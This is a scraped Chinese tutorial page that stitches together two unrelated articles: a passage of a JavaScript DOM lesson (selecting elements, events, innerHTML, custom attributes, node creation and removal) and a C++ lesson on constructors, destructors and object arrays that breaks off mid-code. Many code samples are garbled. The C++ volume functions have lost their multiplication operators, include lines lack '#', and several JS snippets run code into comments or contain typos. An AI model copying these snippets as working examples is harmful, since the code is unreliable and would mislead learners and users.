...标签名的对象的集合 语法如下 document.getElementsByTagName('标签名') 注意: 1.因为得到的是一个对象的集合,使用我们想要操作里面的元素就需要遍历 得到元素对象是动态的 代码演示 <body><ul><li>我们的征程是星辰大海</li><li>我们的征程是星辰大海</li><li>我们的征程是星辰大海</li><li>我们的征程是星辰大海</li><li>我们的征程是星辰大海</li></ul><ul id="nav"><li>心存感恩,所遇皆美好~</li><li>心存感恩,所遇皆美好~</li><li>心存感恩,所遇皆美好~</li><li>心存感恩,所遇皆美好~</li><li>心存感恩,所遇皆美好~</li></ul><script>// 1.返回的是 获取过来元素对象的集合 以伪数组的形式存储的var lis = document.getElementsByTagName('li')console.log(lis);// 2.如果想要依次打印里面的元素对象我们可以采取遍历方式for (var i = 0; i < lis.length; i++) {console.log(lis[i]);}// 3.这里可以是可以获取标签的.getElementsByTagName()可以得到这个元素里面的某些标签var nav1 = document.getElementById('nav') //这个获取nav元素var navli = nav.getElementsByTagName('li') //这里是获取nav 里面的li标签 要先获取 nav元素在获取里面的liconsole.log(navli);</script></body> 3.通过 HTML5 新增的方法获取(注意兼容) 1. document.getElementsByClassName(‘类名’);// 根据类名返回元素对象集合 2. document.querySelector('选择器'); // 根据指定选择器返回第一个元素对象 3. document.querySelectorAll('选择器'); // 根据指定选择器返回所有元素对象集合 注意:querySelector 和 querySelectorAll里面的选择器需要加符号,比如:document.querySelector(’nav’); 代码演示 <body><div class="box">盒子1</div><div class="box">盒子2</div><div id="nav"><ul><li>首页</li><li>产品</li></ul></div><script>// 1. getElementsByClassName 根据类名获得某些元素集合var boxs = document.getElementsByClassName('box');console.log(boxs);// 2. querySelector 返回指定选择器的第一个元素对象 切记 里面的选择器需要加符号 .box navvar firstBox = document.querySelector('.box');console.log(firstBox);var nav = document.querySelector('nav');console.log(nav);var li = document.querySelector('li');console.log(li);// 3. querySelectorAll()返回指定选择器的所有元素对象集合var allBox = document.querySelectorAll('.box');console.log(allBox);var lis = document.querySelectorAll('li');console.log(lis);</script> 4.获取特殊元素(body,html) 获取body元素 - doucumnet.body // 返回body元素对象 获取html元素 . document.documentElement // 返回html元素对象 代码演示 <body><script>// 获取bdoy元素var bodyEle = document.bodyconsole.log(bodyEle); //返回body元素// 获取html元素var htmlEle = document.documentElementconsole.log(htmlEle); //返回html元素</script></body> 三.事件基础 1.事件概述 JavaScript 使我们有能力创建动态页面,而事件是可以被 JavaScript 侦测到的行为。 简单理解: 触发— 响应机制。 网页中的每个元素都可以产生某些可以触发 JavaScript 的事件,例如,我们可以在用户点击某按钮时产生一个 事件,然后去执行某些操作。 代码演示 <body><button id="btn">浩哥</button><script>// 点击一个按钮,弹出一个对话框// 1.事件是有三部分组成的 1.事件源 2.事件类型 3.事件处理程序 也称为事件三要素// (1).事件源 事件被触发的对象 var but = document.getElementById('btn')// (2).事件类型 如何触发 什么事件 比如鼠标点击(onclick) 还是鼠标经过还是????// (3).事件处理程序 通过一个函数赋值的方式 完成 因为函数就是实现某种功能的but.onclick = function() {alert('浩哥爱编程')}</script></body> 2.执行事件的步骤 1. 获取事件源DOM对象(意思是你要获取那个元素) 2. 注册事件(绑定事件 意思是通过什么方式来处理比如是鼠标经过还是鼠标点击等等行为) 3. 添加事件处理程序(采取函数赋值形式 意思是你想做啥) 代码演示 <body><div>123</div><script>// 事件执行步骤 点击div 控制台输出我被选中了// 1.获取事件源var div = document.querySelector('div')// 2.绑定事件 注册事件// div.onclick// 3.添加事件处理程序div.onclick = function() {console.log('我被点击了');}</script></body> 3.常见的鼠标事件 onmouseenter鼠标移入事件 onmouseleave鼠标移出事件 四.操作元素 JS的DOM操作可以改变网页内容、结构和样式,利用DOM操作元素来改变元素里面的内容、属性等。注意以下都是属性 1.操作元素内容(改变元素内容) elemeny.innerText 从起始位置到终止位置的内容,但它去除html标签,同时空格和换行也会去掉 elemernt.innerHTML 起始位置到终止位置的全部内容,包括html标签,同时保留空格和换行 elemernt.Content可以获取隐藏元素的文本,包含换行和空白 代码演示 <title>Document</title><style>div,p {height: 30px;width: 300px;line-height: 30px;text-align: center;color: fff;background-color: pink;}</style></head><body><button>显示当前系统时间</button><div>某个时间</div><p>123</p><script>// 当我们点击了按钮,div里面的文字会发生变化// 1.获取元素 注意这里的按钮 和div都要获取到 因为 点击按钮div里面要发生变化所以都要获取var but = document.querySelector('button');var div = document.querySelector('div');// 2.绑定事件// but.onclick// 3.程序处理but.onclick = function() {// 改变元素内容 element(元素).innerTextdiv.innerText = '2020-11-27'}// 4.我们元素可以不用添加事件,就可以直接显示日期var p = document.querySelector('p');p.innerText = '2020-11-27';</script> elemeny.innerText和elemeny.innerHTML的区别 代码演示 <body><div></div><p></p><ul><li> 文字</li><li>123</li></ul><script>// innertText 和 innertHTML 的区别// 1. innerText 不识别html标签 非标准 去除空格和换行var div = document.querySelector('div');div.innerText = '<strong>今天是:</strong> 2020';// 2.innertHTML 识别html标签 W3C标准 保留空格和换行的 推荐尽量使用这个 因为这个是标准var p = document.querySelector('p')p.innerHTML = '<strong>今天是:</strong> 2020';// 3.这俩个属性是可读写的 意思是 除了改变内容还可以元素读取里面的内容的var ul = document.querySelector('ul')console.log(ul.innerText);console.log(ul.innerHTML);// .4innerHtml innerText 之间的区别:设置内容的时候,如果内容当中包含标签字符串 innerHtml会有标签的特性,也就是说标签会在页面上生效如果内容当中包含标签字符串 innerText会把标签原样展示在页面上,不会让标签生效读取内容的时候,如果标签内部还有其它标签,innerHtml会把标签内部带着其它的标签全部输出如果标签内部还有其它标签,innerText只会输出所有标签里面的内容或者文本,不会输出标签如果标签内部没有其它标签,他们两个一致;都是读取文本内容,innerHtml会带空白和换行</script></body> 2. 操作常见元素属性 innerText、innerHTML 改变元素内容 src、href id、alt、title 代码演示 <body><button id="ldh">刘德华</button><button id="zxy">张学友</button><br><img src="./images/ldh.jpg" alt="" width="200px" height="200px" title="刘德华" id="img"><script>// 修改属性 src// 我们可以操作元素得方法 来修改元素得属性 就是 元素的是什么属性 在重新给值就可以完成相应的赋值操作了// 1.获取元素var ldh = document.getElementById('ldh')var zxy = document.getElementById('zxy')var img = document.getElementById('img')// 2.注册事件 程序处理zxy.onclick = function() {// 当我们点击了图片的时候图片路径就发生变化 这里的.表示 的 得意思 img对象下的src属性img.src = './images/zxy.jpg';// 当我们变换图片得同时里面得title也要跟着变 所以前面要加上img.img.title = '张学友';}ldh.onclick = function() {img.src = './images/ldh.jpg';img.title = '刘德华';}</script> 3.操作表单元素属性 利用DOM可以操作如下表单元素的属性 type、value、checked、selected、disabled 代码演示: <body><button>按钮</button><input type="text" value="输入内容"><script>// 我想把value里面的输入内容改变为 被点击了// 1.获取元素var but = document.querySelector('button')var input = document.querySelector('input')// 2.注册事件 处理程序but.onclick = function() {// input.innerHTML = '被点击了'; 这个是 普通盒子 比如 div 标签里面的内容// 表单里面的值 文字内容是通过value来修改的input.value = '被点击了'// 如果需要某个表单被禁用 不能再点击了使用 disabled 我们想要这个按钮 button禁用// but.disabled = true// 还有一种写法// this指向的是事件函数的调用者 谁调用就指向谁 这里调用者是btnthis.disabled = true}</script></body> 4.操作元素样式属性 我们可以通过 JS 修改元素的大小、颜色、位置等样式。 1.element.style 行内样式操作 注意: JS 里面的样式采取驼峰命名法 比如 fontSize、 backgroundColor JS 修改 style 样式操作,产生的是行内样式,所以行内式比内嵌式高 代码演示 <style>div {width: 200px;height: 200px;background-color: red;}</style></head><body><div></div><script>// 要求点击div变成粉色 height变为250px// 1.获取元素var div = document.querySelector('div');// 2.注册事件 处理程序div.onclick = function() {// div.style里面的属性 采取的是驼峰命名法// this等于div this调用者 谁调用谁执行this.style.backgroundColor = 'pink'this.style.height = '250px'}</script> 2.element.className 类名样式操作 注意: 如果样式修改较多,可以采取操作类名方式更改元素样式。 class因为是个保留字,因此使用className来操作元素类名属性 className 会直接更改元素的类名,会覆盖原先的类名。 代码演示 <style>div {width: 100px;height: 100px;background-color: pink;}.change {background-color: purple;color: fff;font-size: 25px;margin-top: 100px;}</style></head><body><div class="first">文本</div><script>// 1. 使用 element.style 获得修改元素样式 如果样式比较少 或者 功能简单的情况下使用var test = document.querySelector('div');test.onclick = function() {// this.style.backgroundColor = 'purple';// this.style.color = 'fff';// this.style.fontSize = '25px';// this.style.marginTop = '100px';// 让我们当前元素的类名改为了 change// 2. 我们可以通过 修改元素的className更改元素的样式 适合于样式较多或者功能复杂的情况 如果想继续添加样式即在change添加即可// 3. 如果想要保留原先的类名,我们可以这么做 多类名选择器// this.className = 'change';this.className = 'first change';}</script> 5.自定义属性的操作 js给我们规定了可以自己添加属性 在操作元素属性的时候,元素.语法只能操作元素天生具有的属性,如果是自定义的属性,通过.语法是无法操作的只能通过getAttribute和setAttribute去操作,他俩是通用的方法,无论元素天生的还是自定义的都可以可以操作 1.获取属性值 element.属性 获取属性值。 element.getAttribute(‘属性’); 区别: element.属性 获取内置属性值(元素本身自带的属性 如果是自定义属性不能被获取) element.getAttribute(‘属性’);主要获得自定义的属性 (标准) 我们自定义的属性 2.设置属性值 element.属性 = ‘值’ 设置内置属性值 element.setAttribute(‘属性’,‘值’) 区别: element.属性 设置内置属性值 element.setAttribute(‘属性’);主要设置自定义的属性(标准) 3.移除属性 element.removeAttribute(‘属性’); 代码演示 <body><div id="demo" index="1" class="nav"></div><script>var div = document.querySelector('div');// 1.获取元素的属性值// (1) element.属性console.log(div.id);// (2) element.getAttribute('属性') get获取得到 attribute属性的意思 我们自己添加的属性称之为自定义属性console.log(div.getAttribute('id')); //democonsole.log(div.getAttribute('index')); // 1// 2.设置元素的属性值// (1) element.属性 = '值' div.id = 'test'div.className = 'navs'// (2) element.setAttribute('属性','值')div.setAttribute('index', 2);div.setAttribute('class', 'footer') //这里就是class 不是className 比较特殊// 3.移除属性 removeAttribute(属性)div.removeAttribute('index');</script></body> 只要是自定义属性最好都是用element.setAttribute(‘属性’,‘值’)来设置 如果是自带属性用element.属性来设置 6.H5自定义属性 自定义属性的目的:第一、是为了保存属性 第二、并且使用数据。有一些数据可以保存到页面中而不用保存到数据库中。 自定义属性获取是通过getAttribute(‘属性’) 获取的 但是有些自定义属性很容易引起歧义,不容易判断是元素还是自定义属性 H5给我们新增了自定义属性: 1.设置H5自定义属性 H5规定自定义属性data-开头做为属性名并且赋值 比如<div data-index:“1”> 或者使用JS设置element.setAttribute(‘deta-index’,2) 2.获取H5自定义属性 兼容性获取 element.getAttribute(‘data-index’) 推荐开发中使用这个 H5新增element.dataset.index 或者element.datase[‘index’] ie 11以上才支持 代码演示 <body><div getTime="10" data-index="20" data-name-list="40"></div><script>// 获取元素var div = document.querySelector('div');console.log(div.geTime); //undefined getTime是自定义属性不能直接通过元素的属性来获取 而是用自定义属性来获取的getAttribute(‘属性’)console.log(div.getAttribute('getTime')); //10// H5添加自定义属性的写法以data-开头div.setAttribute('data-time', 30)// 1.兼容性获取H5自定义属性console.log(div.getAttribute('data-time')); // 30// 2.H5新增的获取自定义属性的方法 它只能获取data-开头的// dataset 是一个集合的意思存放了所有以data开头的自定义属性 如果你想取其中的某一个只需要在dataset.的后面加上自定义属性名即可console.log(div.dataset);console.log(div.dataset.time); // 30// 还有一种方法dataset['属性']console.log(div.dataset['time']); // 30// 如果自定义属性里面有多个-链接的单词 我们获取的时候采取驼峰命名法 不用要-了console.log(div.dataset.nameList); // 40console.log(div.dataset['nameList']); // 40</script></body> 五.节点操作 1.为什么要学习节点操作 获取元素通常使用俩种方式 (1)利用DOM提供的方法获取元素 但是逻辑性不强 繁琐 (2)利用节点层级关系获取元素 如 利用父子,兄弟关系获取元素 逻辑性强,但是兼容性不怎么好 2.节点概述 网页中的所有内容都是节点(标签、属性、文本、注释等等) ,在DOM中,节点使用node表示。HTML DOM 树中的所有节点均可通过javascript进行访问,所有HTML元素(节点) 均可被修改,也可以创建或删除 一般地,节点至少拥有nade Type(节点类型)、nodeName(节点名称)和nodeValue(节点值) 这三个基本属性 元素节点 nodeType 为 1 属性节点 node Name为 2 文本节点 nodeValue为 3 (文本节点包含文字、空格、换行等等) 实际开发中,节点操作主要操作的是元素节点 3.节点层级 利用DOM树可以把节点划分为不同得层级关系,常见得是父子兄层级关系 1.父级节点 1.node.parentNode parenNode属性可以返回某节点得父节点,注意是最近的父节点哟!!! 如果指定的节点没有父节点就返回null 代码演示 <body><div class="box"><div class="box1"></div></div><script>var box1 = document.querySelector('.box1')// 得到的是离元素最近的父节点(亲爸爸) 得不到就返回得是nullconsole.log(box1.parentNode); // parentNode 翻译过来就是父亲的节点</script></body> 2.子级节点操作 1.parentNode.children(非标准) parentNode.children 是一个只读属性,返回所有的子元素节点。它只返回子元素节点,其余节点不返回(重点记住这个就好,以后重点使用) 虽然children是一个非标准,但是得到了各个浏览器的支持,我们大胆使用即可!!! 代码演示 <body><ul><li>1</li><li>1</li><li>1</li><li>1</li></ul><script>// DOM 提供的方法(APL)获取 这样获取比较麻烦var ul = document.querySelector('ul')var lis = ul.querySelectorAll('li')// children子节点获取 ul里面所有的小li 放心使用没有限制兼容性 实际开发中经常使用的console.log(ul.children);</script> 如何返回子节点的第一个和最后一个? 2.parentNode.firstElementChild firstElementChild返回第一个子元素节点,找不到则返回unll 3.parentNode.lastElementChild lastElementChild返回最后一个子元素节点,找不到则返回null 注意:这俩个方法有兼容性问题,IE9以上才支持 谨慎使用 但是我们有解决方案 如果想要第一个子元素节点,可以使用 parentNode.chilren[0] 如果想要最后一个子元素节点,可以使用 parentNode.chilren[parentNode.chilren.length - 1] 代码演示 <body><ul><li>1</li><li>2</li><li>3</li><li>4</li><li>5</li></ul><script>var ul = document.querySelector('ul')// 1.firstElementChild 返回第一个子元素节点 ie9 以上才支持注意兼容console.log(ul.firstElementChild);// 2.lastElementChild返回最后一个子元素节点console.log(ul.lastElementChild);// 3.实际开发中用到的既没有兼容性问题又可以返回子节点的第一个和最后一个console.log(ul.children[0]);console.log(ul.children[ul.children.length - 1]); //ul.children.length - 1获取的永远是子节点最后一个</script></body> 3.兄弟节点 1.node.nextSibling nextSibling 返回当前元素的下一个兄弟节点,找不到则返回null。注意包含所有的节点 2.node.previousSibling previousSibling 返回当前元素上一个兄弟节点,找不到则返回null。注意包含所以有的节点 代码演示 <body><div>我是div</div><span>我是span</span><script>var div = document.querySelector('div')// 返回当前元素的下一个兄弟节点nextSibling,找不到返回null。注意包含元素节点或者文本节点等等console.log(div.nextSibling); //这里返回的是text 因为它的下一个兄弟节点是换行// 返回的是当前元素的上一个节点previousSibling,找不到返回null。注意包含元素节点或者文本节点等等console.log(div.previousSibling); //这里返回的是text 因为它的上一个兄弟节点是换行</script></body> 3.node.nexElementSibling nexElementSibling 返回当前元素下一个兄弟元素节点,找不到返回null 4.node.previousElementSibling previousElementSibling返回当前元素上一个兄弟节点,找不到返回null 注意:这俩个方法有兼容性问题,IE9以上才支持 代码演示 <body><div>我是div</div><span>我是span</span><script>var div = document.querySelector('div')// nextElementSiblingd得到下一个兄弟元素节点console.log(div.nextElementSibling); // span // previousElementSibling 得到的是上一个兄弟元素节点console.log(div.previousElementSibling); // null 因为它上面没有兄弟元素了返回空的</script></body> 怎么解决兼容性问题呢? 可以封装一个兼容性函数(简单了解即可 在实际开发中用的不多) function getNextElementSibling(element) {var el = element;while (el = el.nextSibling) {if (el.nodeType === 1) {return el;} }return null;} 4.创建节点 1.document.createElement('tagName') document.createElement( ) 方法创建由 tagName 指定的 HTML 元素。因为这些元素原先不存在的是根据我们的需求动态生成的,所有我们也称为动态创建元素节点 我们创建了节点要给添加到节点里面去 称为 添加节点 1.node.appendChild(child) node.appendChild( )方法将一个节点添加到指定父节点的子节点列表末尾 2.node.insertBefore(child,指定添加元素位置) node.insertBefore( ) 方法将一个节点添加到父节点的指定子节点前面 代码演示 <body><ul><li>1</li></ul><script>// 1.创建节点 createElementvar li = document.createElement('li')// 2.添加节点 创建了节点要添加到某一个元素身上去 叫添加节点 node.appendChild(child) done 父级 child 子级 如果前面有元素了则在后面追加元素类似数组中的push依次追加var ul = document.querySelector('ul')ul.appendChild(li)// 3.添加节点 node.insertBefore(child,指定元素) 在子节点前面添加子节点 child子级你要添加的元素var lili = document.createElement('li')ul.insertBefore(lili, ul.children[0]) //ul.children 这句话的意思是添加到ul父亲的子节点第一个// 总结 如果想在页面中添加元素分为俩步骤1.创建元素 2.添加元素</script></body> 5.删除节点 node.removeChild(child) node.removeChlid()方法从DOM 中删除一个子节点,返回删除的节点 简单点就是从父元素中删除某一个孩子node就是父亲child就是孩子 删除的节点.remove(没有参数) 注意:ie不支持 代码演示 <body><button>按钮</button><ul><li>熊大</li><li>熊二</li><li>熊三</li></ul><script>// 1.获取元素var ul = document.querySelector('ul')var but = document.querySelector('button');// 2.删除元素// but.onclick = function() {// ul.removeChild(ul.children[0])// }// 3.点击按钮键依次删除,最后没有删除内容了 就禁用按钮 disabled = true 禁用按钮语法but.onclick = function() {if (ul.children.length == 0) {this.disabled = true} else {ul.removeChild(ul.children[0])} }</script></body> 6.复制节点(克隆节点) node.cloneNode() node.dloneNode()方法返回调用该方法节点得一个副本,也称为克隆节点/拷贝节点 注意 1.如果括号参数为空或者为false,则是浅拷贝,只复制里面得标签,不复制内容 2.如果括号参数为true,则是深度拷贝,会复制节点本身以及里面所有的内容 代码演示 <body><ul><li>1</li><li>2</li><li>3</li></ul><script>// 1.获取元素var ul = document.querySelector('ul');// 2.复制元素 node.cloneNode() 如果参数括号为空或者false则只会复制元素不会复制内容,如果待有参数true则内容和元素都会被复制var lis = ul.children[0].cloneNode(true);// 3.获取元素ul.appendChild(lis)</script></body> 7.替换(改)节点 node.replaceChild(新节点,替换到什么位置) 代码演示 <body><ul class="list"><li>1</li><li>2</li></ul><script>// 替换(改)节点 父节点.replaceChild(新元素, 替换到什么位置)// (1)获取父元素var ulNode = document.querySelector('.list');// (2)创建新的元素var liRead = document.createElement('li')// (3)给新元素添加内容liRead.innerHTML = '5';// (4)替换元素ulNode.replaceChild(liRead, ulNode.children[1])</script></body> 8.三种动态创建元素区别 document.write() element.innerHTML document.createElement() 区别 document.write()是直接将内容写入页面的内容流,但是文档流执行完毕,它则会导致页面全部重绘 element.innerHTML是将内容写入某个DOM节点,不会导致页面全部重绘 element.innerHTML 创建多个元素效率更高(不要拼接字符串,采取数组形式拼接),结果有点复杂 createElement()创建多个元素效率低一点点,但是结果更加清晰 总结:不同浏览器下,innerHTML效率要比createElement()高 代码演示 <body><button>点击</button><p>abc</p><div class="inner"></div><div class="create"></div><script>// window.onload = function() {// document.write('<div>123</div>');// }// 三种创建元素方式区别 // 1. document.write() 创建元素 如果页面文档流加载完毕,再调用这句话会导致页面重绘// var btn = document.querySelector('button');// btn.onclick = function() {// document.write('<div>123</div>');// }// 2. innerHTML 创建元素var inner = document.querySelector('.inner');// for (var i = 0; i <= 100; i++) {// inner.innerHTML += '<a href="">百度</a>'// }var arr = [];for (var i = 0; i <= 100; i++) {arr.push('<a href="">百度</a>');}inner.innerHTML = arr.join('');// 3. document.createElement() 创建元素var create = document.querySelector('.create');for (var i = 0; i <= 100; i++) {var a = document.createElement('a');create.appendChild(a);}</script></body> 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_46978034/article/details/110190352。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-08-04 13:36:05
248
转载
转载文章
...模板外定义成员函数的语法 4.使用类模板时,定义对象的格式 5.【例3.14】声明类模板,实现两个整数、浮点数和字符的比较,求出大数和小数 前言 通过第二章的学习,已经对类和对象有了初步了解。本章将对类和对象进行进一步讨论。 一、构造函数 如果定义一个变量,而程序未对其进行初始化的话,这个变量的值是不确定的,因为C和C++不会自觉地去为它赋值。与此相似,如果定义一个对象,而程序未对其数据成员进行初始化的话,这个对象的值也是不确定的。 1.对象的初始化 在定义一个类时,不能对其数据成员赋初值,因为类是一种类型,系统不会为它分配内存空间。在建立一个对象时,需要对其数据成员赋初值。如果一个数据成员未被赋初值,则它的值是不确定的。因为系统为对象分配内存时,保持了内存单元的原状,它就成为数据成员的初值。这个值是随机的。 C++提供了构造函数机制,用来为对象的数据成员进行初始化。在前面的学习中一直未讲这个概念,其实如果你未设计构造函数,系统在创建对象时,会自动提供一个默认的构造函数,而它只为对象分配内存空间其他什么也不做。 如果类中的所有数据成员是公有的,可以在定义对象时对其数据成员初始化。例如: class Time{public:int hour;int minute;int sec;};Time t1{15,36,26}; 在一个打括号内顺序列出各个公有数据成员的值,在两个值之间用逗号分隔。注意这只能用于数据成员都是共有的情况。 在前面的例子里,是用成员函数对对象的数据成员赋初值,如果一个类定义了多个对象,对每个对象都要调用成员函数对数据成员赋初值,那么程序就会变得繁琐,所以用成员函数为数据成员赋初值不是一个好办法。 2.构造函数的作用 构造函数用于为对象分配空间和进行初始化,它属于某一个类,可以由系统自动生成。也可以由程序员编写,程序员根据初始化的要求设计构造函数及函数参数。 构造函数是一种特殊的成员函数,在程序中不需要写调用语句,在系统建立对象时由系统自觉调用执行。 构造函数的特点: 构造函数的名字与它的类名必须相同 它没有类型,也不返回值 它可以带参数,也可以不带参数 include <iostream>using namespace std;class Time {public:Time() {hour = 0;minute = 0;sec = 0;}void set_time();void show_time();private:int hour;int minute;int sec;};int main() {Time t1;t1.set_time();t1.show_time();Time t2;t2.show_time();return 0;}void Time::set_time() {cin >> hour;cin >> minute;cin >> sec;}void Time::show_time() {cout << hour << ":" << minute << ":" << sec << endl;} 在类Time中定义了构造函数Time,它与所在的类同名。在建立对象时自动执行构造函数,该函数的作用是为对象中的每个数据成员赋初值0。注意只有执行构造函数时才能为数据成员赋初值。 程序运行时首先建立对象t1,并对t1中的数据成员赋初值0,然后执行t1.set_time函数,从键盘输入新值给对象t1的数据成员,再输出t1的数据成员的值。接着建立对象t2,同时对t2中的数据成员赋初值0,最后输出t2的数据成员的初值。程序运行情况如下: 也可以在类内声明构造函数然后在类外定义构造函数。将程序修改为Time();然后在类外定义构造函数: Time::Time() {hour = 0;minute = 0;sec = 0;} 关于构造函数的使用,说明如下: 什么时候调用构造函数?当函数执行到对象定义语句时建立对象,此时就要调用构造函数,对象就有了自己的作用域,对象的生命周期开始了。 构造函数没有返回值,因此不需要在定义中声明类型。 构造函数不需要显式地调用,构造函数是在建立对象时由系统自动执行的,且只执行以此。构造函数一般定义为public。 在构造函数中除了可以对数据成员赋初值,还可以使用其他语句。 如果用户没有定义构造函数,C++系统会自动生成一个构造函数,而这个函数体是空的,不执行初始化操作。 3.带形参数的构造函数 (1)含义 可以采用带形参数的构造函数,在调用不同对象的构造函数时,从外边将不同的数据传递给构造函数,实现不同对象的初始化。 构造函数的首部的一般格式为:构造函数名(类型 形参1,类型 形参2,……)。在定义对象时指定实参,定义对象的格式为:类名 对象名(实参1,实参2,……)。 (2)【例3.2】 有两个长方柱,其长、宽、高分别为:(1)12,25,30(2)15,30,21编写程序,在类中用带参数的构造函数,计算它们的体积。 分析:可以在类中定义一个计算长方体体积的成员函数计算对象的体积。 include<iostream>using namespace std;class Box{public:Box(int,int,int); //声明int volume();private:int height;int width;int length;};Box::Box(int h,int w,int len) //长方体构造函数{height=h;width=w;length=len;}int Box::volume() //计算长方体体积{return(heightwidthlength);}int main(){Box box1(12,25,30); //定义对象box1cout<<"box1体积="<<box1.volume()<<endl;Box box2(15,30,21); //定义对象box2cout<<"box2体积="<<box2.volume()<<endl;return 0;} 【注】 带形参的构造函数在定义对象时必须指定实参 用这种方法可以实现不同对象的初始化 4.用参数初始化表对数据成员初始化 C++提供了参数初始化表的方法对数据成员初始化。这种方法不必再构造函数内对数据成员初始化,在函数的首部就能实现数据成员初始化。 函数名(类型1 形参1,类型2 形参2): 成员名1(形参1),成员名2(形参2){ } 功能:执行构造函数时,将形参1的值赋予成员1,将形参2的值赋予成员2,形参的值由定义对象时的实参值决定。此时定义对象的格式依然是带实参的形式:类名 对象名(实参1,实参2); 例:定义带形参初始化表的构造函数 Box::Box(int h,int w,int len):height(h),width(w),length(len){}//定义对象:Box box1(12,25,30);//……Box box2(15,30,21); 5.构造函数的重载 (1)含义 构造函数也可以重载。一个类可以有多个同名构造函数,函数参数的个数、参数的类型各不相同。 (2)【例3.3】 在【例3.2】的基础上定义两个构造函数,其中一个无参数,另一个有参数 include <iostream>using namespace std;class Box {public:Box();Box(int h, int w, int len): height(h), width(w), length(len) {}int volume();private:int height;int width;int length;};Box::Box() {height = 10;width = 10;length = 10;}int Box::volume() {return (height width length);}int main() {Box box1;cout << "box1 体积" << box1.volume() << endl;Box box2(15, 30, 25);cout << "box2 体积" << box2.volume() << endl;return 0;} (3)说明 不带形参的构造函数为默认构造函数,每个类只有一个默认构造函数,如果是系统自动给的默认构造函数,其函数体是空的 虽然每个类可以包含多个构造函数,但是创建对象时,系统仅执行其中一个 6.使用默认参数值的构造函数 (1)含义 C++允许在构造函数里为形参指定默认值,如果创建对象时,未给出相应的实参时,系统将用形参的默认值为形参赋值。 (2)格式 函数名(类型 形参1=常数,类型 形参2=常数,……); (3)【例3.4】 将【例3.3】中的构造函数改用带默认值的参数,长、宽、高的默认值都是10 include <iostream>using namespace std;class Box {public:Box(int w = 10, int h = 10, int len = 10);int volume();private:int height;int width;int length;};Box::Box(int w, int h, int len) {height = h;width = w;length = len;}int Box::volume() {return (height width length);}int main() {Box box1;cout << "box1 体积" << box1.volume() << endl;Box box2(15);cout << "box2 体积" << box2.volume() << endl;Box box3(15, 30);cout << "box3 体积" << box3.volume() << endl;Box box4(15, 30, 20);cout << "box4 体积" << box4.volume() << endl;return 0;} (4)说明 如果在类外定义构造函数,应该在声明构造函数时指定默认参数值,再定以函数时不再指定默认参数值 在声明构造函数时,形参名可以省略。例如:Box(int 10,int 10,int 10); 如果构造函数的所有形参都指定了默认值,在定义对象时,可以指定实参也可不指定实参。由于不指定实参也可以调用构造函数,因此全部形参都指定了默认值的构造函数也属于默认构造函数。为了避免歧义,不允许同时定义不带形参的构造函数和全部形参都指定默认值的构造函数。 不能同时使用重载构造函数和带默认值的构造函数 二、析构函数 1.含义 析构函数也是个特殊的成员函数,它的作用与构造函数相反,当对象的生命周期结束时,系统自动调用析构函数,收回对象占用的内存空间。 2.执行析构函数的时机 在一个函数内定义的对象当这个函数结束时,自动执行析构函数释放对象 static局部对象要到main函数结束或执行exit命令时才自动执行析构函数释放对象 全局对象(在函数外定义的对象)当main函数结束或执行exit命令时自动执行析构函数释放对象 如果用new建立动态对象,用delete时自动执行析构函数释放对象 3.特征 以~符号开始后跟类名 析构函数没有数据类型、返回值、形参。由于没有形参所以析构函数不能重载。一个类只有一个析构函数 如果程序员没有定义析构函数,C++编译系统会自动生成一个析构函数 【注】析构函数除了释放对象(资源)外,还可以执行程序员在最后一次适用对象后希望执行的任何操作。例如输出有关的信息。 4.【例3.5】包含构造函数和析构函数的C++程序 include <iostream>include <string>using namespace std;class Student {public:Student(int n, string nam, char s) {num = n;name = nam;sex = s;cout << "Constructor called." << endl;}~Student() {cout << "Destructor called." << endl;}void display() {cout << "num:" << num << endl;cout << "name:" << name << endl;cout << "sex:" << sex << endl;}private:int num;string name;char sex;};int main() {Student stud1(10010, "wang_li", 'f');stud1.display();Student stud2(10011, "zhang_han", 'm');stud2.display();return 0;}//main函数前声明的类其作用域是全局的 三、调用构造函数和析构函数的顺序 1.同一类存储类别的对象 一般情况下,调用析构函数的次序与调用构造函数的次序恰好相反:最先调用构造函数的对象,最后调用析构函数;最后调用构造函数的对象,最先调用析构函数。可简记为:先构造的后析构,后构造的先析构。它相当于一个栈,后进先出。 2.全局范围内定义的对象 在全局范围内定义的对象(在所有函数之外定义的对象),在文件中的所有函数(包括主函数)执行前调用构造函数。当主函数结束或执行exit函数时,调用析构函数。 3.局部自动对象 如果定义局部自动对象(在函数内定义对象),在创建对象时调用构造函数。如多次调用对象所在的函数,则每次创建对象时都调用构造函数。在函数调用结束时调用析构函数。 4.静态局部对象 如果在函数中定义静态局部对象,则在第一次调用该函数建立对象时调用构造函数,但在主函数结束或调用exit函数时才调用析构函数。 5.例 void fun(){student st1; //定义局部自动对象static student st2; //定义静态局部对象...} 对象st1是每次调用函数fun时调用构造函数。在函数fun结束时调用析构函数。 对象st2是第一次调用函数fun时调用构造函数,在函数fun结束时并不调用析构函数,到主函数结束时才调用析构函数 四、对象数组 1.含义 类是一种特殊的数据类型,它当然是C++的合法类型,自然可以定义对象数组。在一个对象数组中各个元素都是同类对象。例如一个班级有50个同学,每个学生有学号、年龄、成绩等属性,可以为这个班级建立一个对象数组,数组包括了50个元素:student std[50];。 可以这样建立构造函数:student::student(int 1001,int 18,int 60);。 在建立数组时,同样要调用构造函数。上面的数组有50个元素,要调用50次构造函数。如果构造函数有多个参数,C++要求:在等号后的花括号中为每个对象分别写出构造函数并指定实参。格式为: student st[n]={ student(实参1,实参2,实参3); …… student(实参1,实参2,实参3); }; 假定对象有三个数据成员:学号、年龄、成绩。下面定义有三个学生的对象数组: student st[3]={ student(1001,18,87); student(1002,19,76); student(1003,18,80); };//构造函数带实参 在建立对象数组时,分别调用构造函数,对每个对象初始化。每个元素的实参用括号括起来,实参的位置与构造函数形参的位置一一对应,不会混淆。 2.【例3.6】 include <iostream>using namespace std;class Box {public:Box(int h = 10, int w = 12, int len = 15): height(h), width(w), length(len) {} //int volume();private:int height;int width;int length;};int Box::volume() {return (height width length);}int main() {Box a[3] = {Box(10, 12, 15), Box(15, 18, 20), Box(16, 20, 26)};cout << "a[0]的体积是" << a[0].volume() << endl;cout << "a[1]的体积是" << a[1].volume() << endl;cout << "a[2]的体积是" << a[2].volume() << endl;return 